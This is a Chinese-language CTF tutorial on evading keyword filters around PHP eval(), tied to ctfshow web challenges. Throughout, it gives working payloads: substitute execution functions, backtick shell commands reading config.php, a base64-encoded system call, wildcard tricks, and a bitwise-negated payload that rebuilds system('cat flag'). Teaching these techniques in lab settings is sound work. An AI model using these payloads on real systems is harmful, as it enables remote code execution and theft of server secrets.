eval() 是 CTF 中最常见的代码执行入口。围绕它的绕过本质上就是一场 出题人加过滤 vs 解题人绕过滤 的博弈。

1
eval("echo 'hello';");  // 把字符串当 PHP 代码执行

一切绕过只有一个目标:构造一个字面上不触发黑名单、语义上能执行恶意逻辑的字符串,送进 eval()


解题心智模型

1
2
3
4
5
6
7
8
9
10
拿到源码

├─ 看 eval 前面有什么过滤?
│ ├─ 正则白名单(必须含关键词) → 只能选命中关键词的函数
│ ├─ 正则黑名单(不能含关键词) → 找黑名单没封住的函数/命令
│ └─ 无过滤 → 直接 eval("system('ls')") 秒

├─ 标出黑名单里的每个词 → 逐个找替代方案

└─ 选最短的 payload → 打

绕过手法全分类

一、函数名绕过

黑名单封了 system / exec / highlight_file 等函数名。

思路:换一个功能相同但名字不同的函数。

被封 替代
highlight_file() show_source()
system() passthru() / shell_exec() / ` 反引号
exec() popen() / proc_open()
eval() assert()(PHP ≤ 7.3)/ call_user_func() / create_function()(PHP ≤ 7.2)

二、Shell 命令绕过

黑名单封了 cat / ls 等命令名。只在 payload 走 shell 路线时才相关。

被封 替代
cat tac nl more less head tail sort rev
ls dir find echo *

三、参数内容绕过

黑名单封了 config / php / . 等文件名关键字,导致写不出 config.php

思路 A —— 把敏感内容移到不检查的参数:

1
2
3
4
?c=show_source($_GET[1])
↑ 只含 show_source,干干净净
&1=config.php
↑ 别的参数不受正则检查

思路 B —— 通配符:

1
2
?c=echo `tac c*`?>         ← * 匹配 config.php
?c=include('c*n?i?.?h?')?> ← ? 单字符通配

思路 C —— Base64 编码:

1
2
$c=$a=base64_decode('c3lzdGVt')($b=base64_decode('Y2F0IGNvbmZpZy5waHA='))
// 执行 system("cat config.php"),但源码中不出现关键字

四、语法字符绕过

黑名单封了 ; 导致无法终止语句。

被封 替代
; ?> 闭合 PHP 代码块
; if(function(...)){} 控制结构天然收尾
; 靠 eval 收表达式:eval(...) 不需要分号
1
2
?c=echo `tac *`?>?> 代 ;
?c=if(passthru('nl *')){} ← {} 代 ;

五、极端情况:无字母数字

黑名单把所有 a-zA-Z0-9 全封了。

思路:用位运算(异或/取反)「造」出字母。

1
2
?code=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%9E%98);
// (~"system")(~"cat flag"),取反两次恢复原值

原理:PHP 中字符串与 ~ 运算符结合会对每个字符取反。将 system 逐字符取反得到不可打印字符,URL 编码后传入,PHP 运行时取反恢复为明文 system

六、正则逻辑反转

写法 含义 策略
preg_match("/.../", $c) 命中则拦截(白名单) 找命中关键词的函数
!preg_match("/.../", $c) 不命中则拦截(黑名单) 找不命中关键词的函数

**注意区分 preg_match 前面有没有 !**,完全相反的思路。


实战题对照

以 ctfshow 的 web 方向为例,看看真实题目中这些手法如何组合:

题号 正则逻辑 新增过滤 关键绕过 考点
web9 白名单 highlight_file() 命中关键词 白名单思维
web10 黑名单 show_source() 不含关键词 ! 取反
web11 黑名单 cat 走 PHP 函数不调 shell,cat 无效 PHP vs Shell 边界
web12 黑名单 \. php config show_source($_GET[1]) 参数传递 作用域绕过
web13 黑名单 ; file echo \tac *`?>+?>;` 语法字符绕过

每道题都在上一层基础上加了新过滤,一层层叠起来就是完整的绕过进化路线。


一句话记口诀

封函数 → 换函数。封命令 → 换命令。封参数 → 换参数传。封字符 → ?> 闭合。全封死 → 位运算造。

拿到题目先看正则类型,再瞄黑名单,沿着这条链一步步找替代,大部分 eval 绕过题都能解。更多对应尝试组合使用不同手法,实战中很少有只封一个点的题目。